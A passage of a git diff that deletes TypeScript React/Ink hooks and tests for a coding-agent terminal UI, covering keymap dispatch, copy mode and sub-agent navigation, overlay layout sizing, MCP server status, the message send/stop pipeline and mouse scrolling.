-}); - -describe("copy mode", () => { - test("Alt+C enters copy mode", () => { - let entered = false; - const actions: KeymapActions = { ...noopActions, enterCopyMode: () => { entered = true; } }; - handleKey("c", key({ meta: true }), baseContext, actions, 0, 0); - expect(entered).toBe(true); - }); - - test("Ctrl+Y no longer enters copy mode (reserved for prompt yank)", () => { - let entered = false; - const actions: KeymapActions = { ...noopActions, enterCopyMode: () => { entered = true; } }; - handleKey("y", key({ ctrl: true }), baseContext, actions, 0, 0); - expect(entered).toBe(false); - }); - - test("while open, arrows move the selection and y copies", () => { - const calls: string[] = []; - const actions: KeymapActions = { - ...noopActions, - copyModeNext: () => calls.push("next"), - copyModePrev: () => calls.push("prev"), - copyModeConfirm: () => calls.push("confirm"), - copyModeCopyAll: () => calls.push("all"), - copyModeCancel: () => calls.push("cancel"), - }; - const ctx: KeymapContext = { ...baseContext, copyModeOpen: true }; - handleKey("", key({ downArrow: true }), ctx, actions, 0, 0); - handleKey("", key({ upArrow: true }), ctx, actions, 0, 0); - handleKey("y", key(), ctx, actions, 0, 0); - handleKey("a", key(), ctx, actions, 0, 0); - handleKey("", key({ escape: true }), ctx, actions, 0, 0); - expect(calls).toEqual(["next", "prev", "confirm", "all", "cancel"]); - }); -}); - -describe("agents nav and enter-session", () => { - test("Ctrl+E opens agents navigation", () => { - let opened = false; - const actions: KeymapActions = { - ...noopActions, - enterAgentsNav: () => { - opened = true; - }, - }; - handleKey("e", key({ ctrl: true }), baseContext, actions, 0, 0); - expect(opened).toBe(true); - }); - - test("while agents nav is open, arrows and enter select a session", () => { - const calls: string[] = []; - const actions: KeymapActions = { - ...noopActions, - agentsNavNext: () => calls.push("next"), - agentsNavPrev: () => calls.push("prev"), - agentsNavConfirm: () => calls.push("confirm"), - agentsNavCancel: () => calls.push("cancel"), - agentsNavKill: () => calls.push("kill"), - }; - const ctx: KeymapContext = { ...baseContext, agentsNavOpen: true }; - handleKey("", key({ downArrow: true }), ctx, actions, 0, 0); - handleKey("", key({ upArrow: true }), ctx, actions, 0, 0); - handleKey("", key({ return: true }), ctx, actions, 0, 0); - handleKey("x", key(), ctx, actions, 0, 0); - handleKey("", key({ escape: true }), ctx, actions, 0, 0); - expect(calls).toEqual(["next", "prev", "confirm", "kill", "cancel"]); - }); - - test("while agents nav is open, Esc exits nav without killing", () => { - const calls: string[] = []; - const actions: KeymapActions = { - ...noopActions, - agentsNavCancel: () => calls.push("cancel"), - agentsNavKill: () => calls.push("kill"), - }; - const ctx: KeymapContext = { ...baseContext, agentsNavOpen: true }; - handleKey("", key({ escape: true }), ctx, actions, 0, 0); - expect(calls).toEqual(["cancel"]); - }); - - test("while viewing a sub-agent, Esc returns to the parent", () => { - let exited = false; - const actions: KeymapActions = { - ...noopActions, - exitEnteredSession: () => { - exited = true; - }, - }; - const ctx: KeymapContext = { ...baseContext, enteredSession: true }; - handleKey("", key({ escape: true }), ctx, actions, 0, 0); - expect(exited).toBe(true); - }); - - test("while viewing a sub-agent, x cancels without exiting observe", () => { - const calls: string[] = []; - const actions: KeymapActions = { - ...noopActions, - agentsNavKill: () => calls.push("kill"), - exitEnteredSession: () => calls.push("exit"), - }; - const ctx: KeymapContext = { ...baseContext, enteredSession: true }; - handleKey("x", key(), ctx, actions, 0, 0); - expect(calls).toEqual(["kill"]); - }); - - test("Esc dismisses settings notice before double-Esc stop logic", () => { - let dismissed = false; - let stopped = false; - const actions: KeymapActions = { - ...noopActions, - dismissSettingsNotice: () => { - dismissed = true; - }, - requestStop: () => { - stopped = true; - }, - }; - const ctx: KeymapContext = { - ...baseContext, - settingsNoticePresent: true, - isRunning: true, - }; - handleKey("", key({ escape: true }), ctx, actions, 0, 0); - expect(dismissed).toBe(true); - expect(stopped).toBe(false); - }); -}); \ No newline at end of file diff --git a/src/tui/hooks/use-keymap.ts b/src/tui/hooks/use-keymap.ts deleted file mode 100644 index 599a12d57..000000000 --- a/src/tui/hooks/use-keymap.ts +++ /dev/null @@ -1,240 +0,0 @@ -import { useInput, type Key } from "ink"; -import { useRef } from "react"; - -// Double-ESC window: a second ESC press within this many ms (with nothing -// active to cancel and an empty input) clears the prompt box. -const DOUBLE_ESC_MS = 500; - -export type KeymapContext = { - exitConfirmOpen: boolean; - helpOpen: boolean; - gateOpen: boolean; - agentModalOpen: boolean; - hookPanelOpen: boolean; - taskFullScreenOpen: boolean; - hasInput: boolean; - inputFocused: boolean; - isRunning: boolean; - commandPaletteOpen: boolean; - copyModeOpen: boolean; - // Agents strip navigation (pick a sub-agent to enter). - agentsNavOpen: boolean; - // Observing a sub-agent session (read-only enter). - enteredSession: boolean; - // Fail-open settings diagnostics banner on the main screen. - settingsNoticePresent: boolean; -}; - -export type KeymapActions = { - clearInput: () => void; - requestExit: () => void; - requestStop: () => void; - toggleHookPanel: () => void; - selectHook: (index: number) => void; - closeHookPanel: () => void; - scrollUp: () => void; - scrollDown: () => void; - scrollToBottom: () => void; - toggleTaskPanel: () => void; - toggleThinking: () => void; - toggleLastTool: () => void; - toggleVerbose: () => void; - toggleTaskSidebar: () => void; - toggleHelp: () => void; - copyMcpUrl: () => void; - enterCopyMode: () => void; - copyModeNext: () => void; - copyModePrev: () => void; - copyModeConfirm: () => void; - copyModeCopyAll: () => void; - copyModeCancel: () => void; - cycleMode: () => void; - enterAgentsNav: () => void; - agentsNavNext: () => void; - agentsNavPrev: () => void; - agentsNavConfirm: () => void; - agentsNavCancel: () => void; - // Abort the selected (nav) or focused (entered) running sub-agent. - agentsNavKill: () => void; - exitEnteredSession: () => void; - dismissSettingsNotice: () => void; -}; - -// Pure dispatch function — separated from the hook so it can be unit tested -// without mounting a React component or relying on stdin byte simulation. -// `lastEscMs` is the timestamp of the previous ESC press (0 if none); returns -// the new value that the caller should store for the next invocation. -export function handleKey( - input: string, - key: Key, - context: KeymapContext, - actions: KeymapActions, - lastEscMs: number, - now: number, -): number { - // Scroll keys work unconditionally — the user must always be able to read - // the log, including while a gate modal is blocking other input. - if (key.ctrl && key.downArrow) { - actions.scrollToBottom(); - return lastEscMs; - } - if (key.pageUp || (key.ctrl && key.upArrow)) { - actions.scrollUp(); - return lastEscMs; - } - if (key.pageDown) { - actions.scrollDown(); - return lastEscMs; - } - - if (context.gateOpen) return lastEscMs; - - // Copy mode owns all input while picking a chunk to lift to the clipboard. - if (context.copyModeOpen) { - if (key.escape) actions.copyModeCancel(); - else if (key.upArrow) actions.copyModePrev(); - else if (key.downArrow) actions.copyModeNext(); - else if (key.return || input === "y") actions.copyModeConfirm(); - else if (input === "a") actions.copyModeCopyAll(); - return lastEscMs; - } - - // Agents-nav mode: pick a sub-agent session to enter. Esc exits nav only; - // `x` / Backspace cancel the selected running worker. - if (context.agentsNavOpen) { - if (key.escape) actions.agentsNavCancel(); - else if (key.upArrow) actions.agentsNavPrev(); - else if (key.downArrow) actions.agentsNavNext(); - else if (key.return) actions.agentsNavConfirm(); - else if (!key.ctrl && !key.meta && (input === "x" || key.backspace)) { - actions.agentsNavKill(); - } - return lastEscMs; - } - - // Entered sub-agent observe view: Esc returns to the parent session; `x` - // cancels the focused running worker without leaving observe. - if (context.enteredSession) { - if (key.escape) { - actions.exitEnteredSession(); - return 0; - } - if (!key.ctrl && !key.meta && (input === "x" || key.backspace)) { - actions.agentsNavKill(); - return lastEscMs; - } - // Scroll still works (handled above); block other global shortcuts so the - // operator is not yanked into help/copy while watching a child. - if (key.ctrl && input === "c") { - if (context.isRunning) { - actions.requestStop(); - return lastEscMs; - } - actions.requestExit(); - return lastEscMs; - } - // Allow Ctrl+E to re-open the agents strip while viewing a child. - if (key.ctrl && input === "e") { - actions.enterAgentsNav(); - return lastEscMs; - } - return lastEscMs; - } - - // Exit-confirm, help, and any open gate/modal own all remaining input. - if (context.exitConfirmOpen) return lastEscMs; - if (context.helpOpen) return lastEscMs; - if (context.agentModalOpen) return lastEscMs; - if (key.ctrl && input === "c") { - if (context.hasInput) { - actions.clearInput(); - return lastEscMs; - } - if (context.isRunning) { - actions.requestStop(); - return lastEscMs; - } - actions.requestExit(); - return lastEscMs; - } - if (key.ctrl && input === "h") { - actions.toggleHookPanel(); - return lastEscMs; - } - if (context.hookPanelOpen && /^[1-9]$/.test(input)) { - actions.selectHook(Number(input) - 1); - return lastEscMs; - } - if (key.escape) { - if (context.taskFullScreenOpen) { - actions.toggleTaskSidebar(); - return 0; - } - if (context.hookPanelOpen) { - actions.closeHookPanel(); - return 0; - } - if (context.settingsNoticePresent) { - actions.dismissSettingsNotice(); - return 0; - } - if (now - lastEscMs <= DOUBLE_ESC_MS) { - if (context.hasInput) { - actions.clearInput(); - return 0; - } - if (context.isRunning) { - actions.requestStop(); - return 0; - } - } - return now; - } - // Plain arrow keys belong to the prompt box. When the input is focused or the - // command palette is open, ChatInput's useInput handler owns them. - if ((context.inputFocused || context.commandPaletteOpen) && (key.upArrow || key.downArrow)) { - return lastEscMs; - } - if (key.ctrl && input === "t") { - actions.toggleTaskPanel(); - return lastEscMs; - } - if (key.ctrl && input === "o") { - actions.toggleVerbose(); - return lastEscMs; - } - if (key.ctrl && input === "r") { - actions.toggleLastTool(); - return lastEscMs; - } - if (key.ctrl && input === "p") { - actions.toggleTaskSidebar(); - return lastEscMs; - } - if (key.ctrl && input === "g") { - actions.toggleHelp(); - return lastEscMs; - } - // Alt+C (not Ctrl+Y, which the prompt uses for readline yank). - if (key.meta && input === "c") { - actions.enterCopyMode(); - return lastEscMs; - } - if (key.ctrl && input === "e") { - actions.enterAgentsNav(); - return lastEscMs; - } - if (key.tab && key.shift) { - actions.cycleMode(); - return lastEscMs; - } - return lastEscMs; -} - -export function useKeymap(context: KeymapContext, actions: KeymapActions): void { - const lastEscRef = useRef(0); - - useInput((input, key) => { - lastEscRef.current = handleKey(input, key, context, actions, lastEscRef.current, Date.now()); - }); -} diff --git a/src/tui/hooks/use-layout-geometry.ts b/src/tui/hooks/use-layout-geometry.ts deleted file mode 100644 index 401a256c1..000000000 --- a/src/tui/hooks/use-layout-geometry.ts +++ /dev/null @@ -1,188 +0,0 @@ -import { useMemo } from "react"; -import type { ProviderCatalogEntry } from "../../config/index.js"; -import { sumChromeZoneRows } from "../chrome-zones.js"; - -export type GateContext = { - pendingPermission: { - action: string; - subject: string; - scopes: Array<{ pattern: string | null }>; - } | null; - pendingOperator: { question: string; options: unknown[] } | null; -}; - -// Count the lines a string occupies when word-wrapped to `width` columns, -// mirroring Ink's wrap="wrap" behaviour (hard breaks on "\n", greedy word -// packing, long words split across lines). Used to reserve enough overlay rows -// for variable-length modal text so the event log never overpaints into it. -export function wrappedLineCount(text: string, width: number): number { - const safeWidth = Math.max(1, width); - let lines = 0; - for (const paragraph of text.split("\n")) { - if (paragraph.length === 0) { - lines += 1; - continue; - } - let col = 0; - let lineCount = 1; - for (const word of paragraph.split(/\s+/).filter((w) => w.length > 0)) { - if (word.length > safeWidth) { - if (col > 0) lineCount += 1; - lineCount += Math.ceil(word.length / safeWidth) - 1; - col = word.length % safeWidth; - if (col === 0) col = safeWidth; - continue; - } - const needed = col === 0 ? word.length : col + 1 + word.length; - if (needed > safeWidth) { - lineCount += 1; - col = word.length; - } else { - col = needed; - } - } - lines += lineCount; - } - return Math.max(1, lines); -} - -export type ModalContext = { - helpOpen: boolean; - hookPanelOpen: boolean; - exitConfirmOpen: boolean; - agentModalOpen: boolean; - permissionsOpen: boolean; - permissionEntryCount: number; -}; - -export type UseLayoutGeometryArgs = { - columns: number; - rows: number; - sidebarOpen: boolean; - gateContext: GateContext; - modalContext: ModalContext; - hookCount: number; - providerCatalog: ProviderCatalogEntry[]; - // Additional chrome rows rendered outside the overlay accounting (e.g. - // McpAuthPrompt, commandMessage). Must be subtracted so the log does not - // overpaint into content below it. - extraChromeRows?: number; -}; - -export type ComputeVisibleRowsArgs = { - rows: number; - chromeRows: number; - effectiveOverlayRows: number; - extraChromeRows: number; -}; - -export function computeVisibleRows({ rows, chromeRows, effectiveOverlayRows, extraChromeRows }: ComputeVisibleRowsArgs): number { - return Math.max(1, rows - chromeRows - effectiveOverlayRows - extraChromeRows); -} - -// Fixed chrome: title + border + section headers + footer hint inside the overlay. -const PERMISSIONS_OVERLAY_FIXED = 6; -// Cap so the overlay never consumes more than this many rows. -const PERMISSIONS_OVERLAY_MAX = 20; - -export type LayoutGeometry = { - leftWidth: number; - rightWidth: number; - visibleRows: number; - effectiveOverlayRows: number; - permissionsOverlayRows: number; -}; - -// Zone breakdown and per-zone budgets live in chrome-zones.ts so App layout and -// the visible-row reservation cannot drift. -export const CHROME_ROWS = sumChromeZoneRows(); - -export type ComputeOverlayRowsArgs = { - gateContext: GateContext; - modalContext: ModalContext; - hookCount: number; - providerCatalog: ProviderCatalogEntry[]; - innerWidth: number; -}; - -export function computeOverlayRows({ - gateContext, - modalContext, - hookCount, - providerCatalog, - innerWidth, -}: ComputeOverlayRowsArgs): number { - if (gateContext.pendingPermission !== null) { - const head = `${gateContext.pendingPermission.action}: ${gateContext.pendingPermission.subject}`; - const subjectLines = wrappedLineCount(head, innerWidth); - const persistable = gateContext.pendingPermission.scopes.filter((s) => s.pattern !== null).length; - const choices = 2 + persistable; - return 11 + subjectLines + choices; - } - if (gateContext.pendingOperator !== null) { - // Fixed chrome: border (2) + paddingY (2) + marginBottom after question (1) + - // marginTop before footer (1) + footer hint (1). - const FIXED = 7; - const questionLines = wrappedLineCount(gateContext.pendingOperator.question, innerWidth); - const optionWidth = Math.max(1, innerWidth - 5); - const optionLines = gateContext.pendingOperator.options.reduce( - (n, opt) => n + wrappedLineCount(String(opt), optionWidth), - 0, - ); - return FIXED + questionLines + optionLines; - } - if (modalContext.helpOpen) return 16; - if (modalContext.hookPanelOpen) return 4 + hookCount; - if (modalContext.exitConfirmOpen) return 6; - if (modalContext.agentModalOpen) { - const widestModels = providerCatalog.reduce((n, p) => Math.max(n, p.models.length), 0); - return 16 + Math.max(providerCatalog.length, widestModels); - } - return 0; -} - -export function useLayoutGeometry({ - columns, - rows, - sidebarOpen, - gateContext, - modalContext, - hookCount, - providerCatalog, - extraChromeRows = 0, -}: UseLayoutGeometryArgs): LayoutGeometry { - const leftWidth = sidebarOpen ? Math.floor(columns * 0.65) : columns; - const rightWidth = columns - leftWidth; - - const overlayRows = useMemo(() => computeOverlayRows({ - gateContext, - modalContext, - hookCount, - providerCatalog, - innerWidth: leftWidth - 8, - }), [ - gateContext.pendingPermission, - gateContext.pendingOperator, - modalContext.helpOpen, - modalContext.hookPanelOpen, - modalContext.exitConfirmOpen, - modalContext.agentModalOpen, - providerCatalog, - leftWidth, - hookCount, - ]); - - const effectiveOverlayRows = overlayRows; - - const permissionsOverlayRows = modalContext.permissionsOpen - ? Math.min(PERMISSIONS_OVERLAY_MAX, PERMISSIONS_OVERLAY_FIXED + modalContext.permissionEntryCount) - : 0; - - const visibleRows = computeVisibleRows({ - rows, - chromeRows: CHROME_ROWS, - effectiveOverlayRows: effectiveOverlayRows + permissionsOverlayRows, - extraChromeRows, - }); - return { leftWidth, rightWidth, visibleRows, effectiveOverlayRows, permissionsOverlayRows }; -} diff --git a/src/tui/hooks/use-mcp-status.ts b/src/tui/hooks/use-mcp-status.ts deleted file mode 100644 index 1a6ab9d12..000000000 --- a/src/tui/hooks/use-mcp-status.ts +++ /dev/null @@ -1,40 +0,0 @@ -import { useEffect, useState } from "react"; -import type { EventEmitter } from "node:events"; -import type { MCPServerState } from "../../agent/tools.js"; - -export type MCPStatusController = { - // Servers currently awaiting authorization, in arrival order. - needsAuth: Array<{ name: string; url: string }>; - // Names of servers that connected successfully. - connected: string[]; - // Name + tool list, for the /mcp command. - servers: Array<{ name: string; tools: string[] }>; -}; - -// Track per-server MCP connection state, fed by "mcp.status" events emitted as -// the background connector progresses. Keyed by server name so a later state for -// the same server replaces the earlier one. -export function useMCPStatus(eventEmitter: EventEmitter): MCPStatusController { - const [states, setStates] = useState>(() => new Map()); - - useEffect(() => { - const handler = (state: MCPServerState) => { - setStates((prev) => { - const next = new Map(prev); - next.set(state.name, state); - return next; - }); - }; - eventEmitter.on("mcp.status", handler); - return () => { - eventEmitter.off("mcp.status", handler); - }; - }, [eventEmitter]); - - const all = [...states.values()]; - return { - needsAuth: all.flatMap((s) => (s.state === "needs-auth" ? [{ name: s.name, url: s.url }] : [])), - connected: all.flatMap((s) => (s.state === "connected" ? [s.name] : [])), - servers: all.flatMap((s) => (s.state === "connected" ? [{ name: s.name, tools: s.tools }] : [])), - }; -} diff --git a/src/tui/hooks/use-message-pipeline.ts b/src/tui/hooks/use-message-pipeline.ts deleted file mode 100644 index 4104fcf2b..000000000 --- a/src/tui/hooks/use-message-pipeline.ts +++ /dev/null @@ -1,357 +0,0 @@ -import { useEffect, useRef, type Dispatch, type SetStateAction } from "react"; -import type { Agent } from "@intx/agent"; -import type { InboundMessage } from "@intx/types/runtime"; -import type { OutboundUserMessage } from "../message-types.js"; -import { resolveAtMentions } from "../mention-resolution.js"; -import type { AgentStreamView } from "../use-stream.js"; -import { classifyAgentSendFailure, shouldSettleUiAfterSendFailure } from "../session-chrome.js"; -import { INFERENCE_ABORT_USER_STOP } from "../../inference-abort.js"; -import { appendSentMessage, loadSentMessages } from "../../session/sent-messages.js"; -import { createSentHistoryBrowse, resetSentHistoryBrowse, type SentHistoryBrowse } from "../sent-message-history.js"; -import { findImagePathMentions, imageAttachmentFromPath, type PendingImageAttachment } from "../image-attachments.js"; -import { isExitCommand } from "../exit-command.js"; -import { CodexAuthError } from "../../auth/codex/session.js"; -import { XaiAuthError } from "../../auth/xai/session.js"; -import type { ScrollController } from "./use-scroll.js"; -import type { GateController } from "./use-gates.js"; -import type { SubAgentSessionStore } from "../../subagent/index.js"; - -export type UseMessagePipelineArgs = { - cwd: string; - agent: Agent; - getSessionId: (() => string) | undefined; - exit: () => void; - onFirstUserMessage: (() => void) | undefined; - onInterrupt: (() => void) | undefined; - onNewSession: (() => void) | undefined; - onAgentError: ((err: unknown) => void) | undefined; - skipInitialTask: boolean; - initialTask: string; - state: AgentStreamView; - stateRef: { current: AgentStreamView }; - scroll: ScrollController; - gates: GateController; - subAgentSessions: SubAgentSessionStore | undefined; - activeSubAgentsRef: { current: readonly { status: string }[] }; - hasRunningSubAgentSessions: () => boolean; - pendingQueueRef: { current: OutboundUserMessage[] }; - setQueuedCount: Dispatch>; - pendingImages: PendingImageAttachment[]; - setPendingImages: Dispatch>; - setCommandMessage: Dispatch>; - setSentHistoryBrowse: Dispatch>; - promptCodexRelogin: (name: string) => void; - promptXaiRelogin: (name: string) => void; - setExpandedTools: Dispatch>>; - setInputValue: Dispatch>; - setEnteredSessionId: Dispatch>; - setAgentsNavOpen: Dispatch>; - setAgentsNavIndex: Dispatch>; - forceRender: Dispatch>; - sendMessageRef: { current: (message: OutboundUserMessage) => void }; - requestStopRef: { current: () => void }; -}; - -export type MessagePipelineController = { - sendMessage: (message: OutboundUserMessage) => void; - requestStop: () => void; - startNewSession: () => void; - startNewSessionRef: { current: () => void }; - prepareOutboundMessage: ( - message: string, - baseAttachments: PendingImageAttachment[], - ) => Promise; - handleSend: (message: string) => void; - handleInterrupt: (message: string) => void; - sendAbortRef: { current: AbortController | null }; - sendCounterRef: { current: number }; - lastSentMessageRef: { current: string }; - quotaAutoRetryFiredRef: { current: boolean }; -}; - -export function useMessagePipeline({ - cwd, - agent, - getSessionId, - exit, - onFirstUserMessage, - onInterrupt, - onNewSession, - onAgentError, - skipInitialTask, - initialTask, - state, - stateRef, - scroll, - gates, - subAgentSessions, - activeSubAgentsRef, - hasRunningSubAgentSessions, - pendingQueueRef, - setQueuedCount, - pendingImages, - setPendingImages, - setCommandMessage, - setSentHistoryBrowse, - promptCodexRelogin, - promptXaiRelogin, - setExpandedTools, - setInputValue, - setEnteredSessionId, - setAgentsNavOpen, - setAgentsNavIndex, - forceRender, - sendMessageRef, - requestStopRef, -}: UseMessagePipelineArgs): MessagePipelineController { - // One controller per in-flight send so Ctrl+C / double-Esc can abort the - // active run. Aborting rejects the send promise; the reactor's current cycle - // finishes but no new cycle starts, which is the "Stopping" → "Stopped" path. - const sendAbortRef = useRef(null); - const didSendInitial = useRef(false); - const firstUserMessageFired = useRef(false); - // Incremented on every send so useSpinner can reset its elapsed clock per turn. - const sendCounterRef = useRef(0); - const lastSentMessageRef = useRef(""); - const quotaAutoRetryFiredRef = useRef(false); - // Bumped on every sent-history load (and on effect cleanup) so only the latest - // loadSentMessages result can write browse state — startNewSession and the - // hydrate effect share this so neither path can apply a stale session's history. - const sentHistoryLoadGenRef = useRef(0); - - sendMessageRef.current = (message: OutboundUserMessage) => { - lastSentMessageRef.current = message.text; - const trimmed = message.text.trim(); - if (trimmed.length > 0 && getSessionId !== undefined) { - const sid = getSessionId(); - void appendSentMessage(cwd, sid, trimmed).then(() => { - setSentHistoryBrowse((prev) => resetSentHistoryBrowse([...prev.sent, trimmed])); - }); - } - quotaAutoRetryFiredRef.current = false; - sendCounterRef.current += 1; - state.markRunning(); - scroll.scrollToBottom(); - - // Append the user message to the transcript immediately (optimistic echo). - // This ensures the input is visible even when send() is delayed by pre-send - // work such as Codex/XAI token refresh. The subsequent message.received will - // no-op the duplicate push. - const displayContent = message.text.length > 0 ? message.text : "Please inspect the attached image."; - const attachmentText = message.attachments.length > 0 - ? `\n[Attached ${message.attachments.length} image${message.attachments.length === 1 ? "" : "s"}: ${message.attachments.map((att) => att.name).join(", ")}]` - : ""; - state.appendUserMessage(`${displayContent}${attachmentText}`); - - // Nudge a re-render so the in-flight indicator and interval timer activate - // immediately rather than waiting for the first event from the new run. - forceRender((n) => n + 1); - const controller = new AbortController(); - sendAbortRef.current = controller; - const inbound: InboundMessage = { - ref: { uid: 1, mailbox: "INBOX" }, - headers: { - from: "user@local", - to: ["agent@local"], - date: new Date().toISOString(), - messageId: `<${crypto.randomUUID()}@local>`, - interchangeType: "conversation.message", - }, - flags: [], - signatureStatus: "missing", - content: message.text.length > 0 ? message.text : "Please inspect the attached image.", - ...(message.attachments.length > 0 ? { attachments: message.attachments } : {}), - }; - agent.send(inbound, { signal: controller.signal }).catch((err: unknown) => { - const kind = classifyAgentSendFailure( - err, - controller.signal.aborted, - (e): e is CodexAuthError => e instanceof CodexAuthError, - (e): e is XaiAuthError => e instanceof XaiAuthError, - ); - if (kind === "abort") return; - if (shouldSettleUiAfterSendFailure(kind)) { - state.requestStop(); - gates.resetGates(); - forceRender((n) => n + 1); - } - if (kind === "codex_auth") { - promptCodexRelogin((err as CodexAuthError).profile); - return; - } - if (kind === "xai_auth") { - promptXaiRelogin((err as XaiAuthError).profile); - return; - } - onAgentError?.(err); - }); - }; - const sendMessage = (message: OutboundUserMessage) => sendMessageRef.current(message); - - const requestStop = () => { - quotaAutoRetryFiredRef.current = true; - sendAbortRef.current?.abort(INFERENCE_ABORT_USER_STOP); - // Parent stop must cancel live children too: aborting the parent send signal - // is linked into each task's child controller, and cancelAll flips session - // status + fires registerCancel hooks that close child agents. - subAgentSessions?.cancelAll("Parent stop"); - onInterrupt?.(); - state.requestStop(); - gates.resetGates(); - // Discard queued messages — a stopped run should not silently replay them - // into the next session's first turn when connector.reply eventually fires. - pendingQueueRef.current.length = 0; - setQueuedCount(0); - // Clear the last-sent prompt so the quota auto-retry loop cannot resubmit - // the interrupted turn once its retry-after window elapses; the agent is - // rebuilt from the persisted store on interrupt, and replaying the prompt - // on top of that would duplicate the turn's tool executions. - lastSentMessageRef.current = ""; - forceRender((n) => n + 1); - }; - - requestStopRef.current = requestStop; - - // Start a sent-history load; only the newest generation may apply. Shared by - // startNewSession and the hydrate effect so rapid /clear or session switches - // cannot write browse from a prior id after a newer load has begun. - const loadSentHistoryBrowse = (sessionId: string) => { - const gen = ++sentHistoryLoadGenRef.current; - void loadSentMessages(cwd, sessionId).then((sent) => { - if (gen !== sentHistoryLoadGenRef.current) return; - setSentHistoryBrowse(createSentHistoryBrowse(sent)); - }); - }; - - const startNewSessionRef = useRef<() => void>(() => undefined); - startNewSessionRef.current = () => { - sendAbortRef.current?.abort(); - // Cancel live workers before clearing the strip so child reactors close - // instead of continuing after /clear. - subAgentSessions?.cancelAll("New session"); - state.clear(); - gates.resetGates(); - setExpandedTools(new Set()); - pendingQueueRef.current.length = 0; - setQueuedCount(0); - // Same guard as requestStop: a cleared session must not auto-resubmit a - // prior prompt when the quota retry interval is still polling. - lastSentMessageRef.current = ""; - quotaAutoRetryFiredRef.current = true; - setInputValue(""); - setEnteredSessionId(null); - setAgentsNavOpen(false); - setAgentsNavIndex(0); - subAgentSessions?.clear(); - onNewSession?.(); - if (getSessionId !== undefined) { - loadSentHistoryBrowse(getSessionId()); - } else { - // Invalidate any in-flight load before clearing browse for a no-session path. - sentHistoryLoadGenRef.current++; - setSentHistoryBrowse(createSentHistoryBrowse([])); - } - scroll.scrollToBottom(); - forceRender((n) => n + 1); - }; - const startNewSession = () => startNewSessionRef.current(); - - // Hydrate sent-message history for the active session. Cancel stale loads so a - // session switch or unmount cannot write history from a prior session id. - useEffect(() => { - if (getSessionId === undefined) return; - loadSentHistoryBrowse(getSessionId()); - return () => { - sentHistoryLoadGenRef.current++; - }; - // loadSentHistoryBrowse closes over cwd/setSentHistoryBrowse; re-run when the - // session identity source or cwd changes. - // eslint-disable-next-line react-hooks/exhaustive-deps - }, [cwd, getSessionId]); - - useEffect(() => { - if (didSendInitial.current) return; - didSendInitial.current = true; - if (skipInitialTask) return; - if (initialTask.length > 0) sendMessage({ text: initialTask, attachments: [] }); - // eslint-disable-next-line react-hooks/exhaustive-deps - }, []); - - const prepareOutboundMessage = async ( - message: string, - baseAttachments: PendingImageAttachment[], - ): Promise => { - let text = message; - const mentions = findImagePathMentions(message, cwd); - const loaded = await Promise.all(mentions.map((mention) => imageAttachmentFromPath(mention.path))); - const attachments = [...baseAttachments]; - for (let i = 0; i < mentions.length; i++) { - const mention = mentions[i]; - const result = loaded[i]; - if (mention === undefined || result === undefined || !result.ok) continue; - attachments.push(result.attachment); - text = text.replace(mention.raw, `[Attached image: ${result.attachment.name}]`); - } - return { text: await resolveAtMentions(text, cwd), attachments }; - }; - - const handleSend = (message: string) => { - if (isExitCommand(message)) { - exit(); - return; - } - if (!firstUserMessageFired.current) { - firstUserMessageFired.current = true; - onFirstUserMessage?.(); - } - setCommandMessage(null); - const attachments = pendingImages; - setPendingImages([]); - void prepareOutboundMessage(message, attachments).then((outbound) => { - // Read live state from the ref — prepareOutboundMessage is async (it does - // @-mention resolution + disk I/O), so the closed-over state.isProcessing - // can be stale by the time this resolves. A previous turn can finish and - // drain the queue during the async window; reading the stale value would - // then queue a message nothing will ever drain, leaving the UI stuck. - const childWorkActive = - activeSubAgentsRef.current.length > 0 || hasRunningSubAgentSessions(); - if (stateRef.current.isProcessing || childWorkActive) { - pendingQueueRef.current.push(outbound); - setQueuedCount((c) => c + 1); - return; - } - sendMessage(outbound); - }); - }; - - const handleInterrupt = (message: string) => { - if (isExitCommand(message)) { - requestStop(); - exit(); - return; - } - setCommandMessage(null); - // requestStop must fire synchronously before any async work so the abort - // signal reaches the in-flight HTTP request before at-mention resolution - // has a chance to yield, preventing a stale connector.reply from racing - // the new turn's state. - requestStop(); - const attachments = pendingImages; - setPendingImages([]); - void prepareOutboundMessage(message, attachments).then(sendMessage); - }; - - return { - sendMessage, - requestStop, - startNewSession, - startNewSessionRef, - prepareOutboundMessage, - handleSend, - handleInterrupt, - sendAbortRef, - sendCounterRef, - lastSentMessageRef, - quotaAutoRetryFiredRef, - }; -} diff --git a/src/tui/hooks/use-mouse-scroll.ts b/src/tui/hooks/use-mouse-scroll.ts deleted file mode 100644 index be119ec4d..000000000 --- a/src/tui/hooks/use-mouse-scroll.ts +++ /dev/null @@ -1,54 +0,0 @@ -import { useEffect, useRef } from "react"; -import type { EventEmitter } from "node:events"; - -// Mouse-wheel events are stripped from stdin before Ink parses them (see -// createFilteredStdin), so scroll arrives on a dedicated emitter rather than -// through useInput. Enabling/disabling SGR mouse reporting is a terminal-level -// side effect owned by the runner, not this hook. -// -// The subscription is a genuine external-source subscription, so useEffect is -// the right tool: with a stable `mouseEvents` it runs once on mount and tears -// down on unmount — it does not re-subscribe per render. The callback refs keep -// the latest handlers without widening the effect's dependencies. -type ScrollHandler = (ticks: number) => void; - -export function useMouseScroll( - mouseEvents: EventEmitter | undefined, - onScrollUp: ScrollHandler, - onScrollDown: ScrollHandler, -): void { - const onScrollUpRef = useRef(onScrollUp); - onScrollUpRef.current = onScrollUp; - const onScrollDownRef = useRef(onScrollDown); - onScrollDownRef.current = onScrollDown; - const pendingTicksRef = useRef(0); - const flushTimerRef = useRef | null>(null); - - useEffect(() => { - if (!mouseEvents) return; - - const flush = () => { - flushTimerRef.current = null; - const ticks = pendingTicksRef.current; - pendingTicksRef.current = 0; - if (ticks < 0) onScrollUpRef.current(Math.abs(ticks)); - if (ticks > 0) onScrollDownRef.current(ticks); - }; - const queue = (delta: number) => { - pendingTicksRef.current += delta; - if (flushTimerRef.current === null) flushTimerRef.current = setTimeout(flush, 0); - }; - const up = () => queue(-1); - const down = () => queue(1); - - mouseEvents.on("scrollUp", up); - mouseEvents.on("scrollDown", down); - return () => { - mouseEvents.off("scrollUp", up); - mouseEvents.off("scrollDown", down); - if (flushTimerRef.current !== null) clearTimeout(flushTimerRef.current); - flushTimerRef.current = null; - pendingTicksRef.current = 0; - }; - }, [mouseEvents]); -} diff --git a/src/tui/hooks/use-provider-auth.ts b/src/tui/hooks/use-provider-auth.ts deleted file mode 100644 index b4a5a1907..000000000 --- a/src/tui/hooks/use-provider-auth.ts +++ /dev/null @@ -1,254 +0,0 @@ -import { useMemo, useState, type Dispatch, type SetStateAction } from "react"; -import { getLogger } from "@intx/log"; -import { getValidCodexToken, 